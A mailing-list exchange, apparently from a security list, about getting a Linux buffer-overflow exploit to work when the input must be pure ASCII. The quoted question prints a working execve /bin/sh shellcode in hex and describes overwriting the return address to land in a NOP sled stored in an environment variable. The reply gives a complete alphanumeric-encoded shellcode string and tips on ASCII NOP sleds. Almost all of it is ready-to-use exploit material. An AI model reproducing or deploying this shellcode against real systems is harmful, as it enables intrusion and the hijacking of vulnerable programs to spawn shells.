Re: Linux restricted ASCII Shellcode



Hi,

Here you have you shellcode in ascii format.

'hAAAAX5AAAAHPPPPPPPPah4A00X5ZnCXPh0A00X50nRYPTYIII19hAA00X5Vb00PTY19hA0A0X5fpsOPTY19II19I19h0AA0X5OpeFPTY19II19I19h004AX5Bf8sPTY19I19II19h4040X58Bz8PTYII19h4520X58z9FPTY19I19I19I19h0000X5v7FvPTYI19I19h0AE0X58pzGPTY19II19hE000X5ZnFFPTYI19I19h555AX5ZZZUPTY19T'

If the code you are trying to exploit does NOT allow nonASCII nops (that
actually is the only thing that makes sence) instead of '\x90' you will
have to use some ascii opcode/bytecode string that can be used as NOP
sled (for example 'A' -> inc ecx).

Cheers,
Sergio

nonexistant@xxxxxxxxxx wrote:
Yes I'm having a seg-fault, but I can't catch you...

AFAIK when EIP is pointing somewhere in the NOP sled, no matter how the shellcode is aligned... Alignment has nothing to do here...?¿? I'm wrong?

More over, I've tryed more than 5 different ASCII shellcodes all with the same result... Always segfaulting. It looks as if shellcodes where not working for any common reason...

So, summarizing:

1.- I can perfectly overwrite RET thus having EIP pointing almost 100% of the time to the NOP's of my shellcode (in an environment variable)

2.- My -non-ascii- shellcode works perfectly

3.- Whn I try with ANY pure ascii shellcode, it fails 100% of the time.


What is happening?


I've tryed with pure ASCII shellcodes ripped from http://shellcode.org/Shellcode/linux/ascii/ among others...


Metasploit framework failed to convert the original shellcode -the one that works- to pure ascii with the selected charset (A-Z,a-z,0-9).


That's the original shellcode:


\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh


Is anyone able to convert this to pure ASCII or giving me a working pure ASCII shellcode or helping me understand why all the pure ascii shellcodes are failing in my exploit?


Thank you,


--
Sergio Alvarez
Security, Research & Development
IT Security Consultant
email: shadown@xxxxxxxxx

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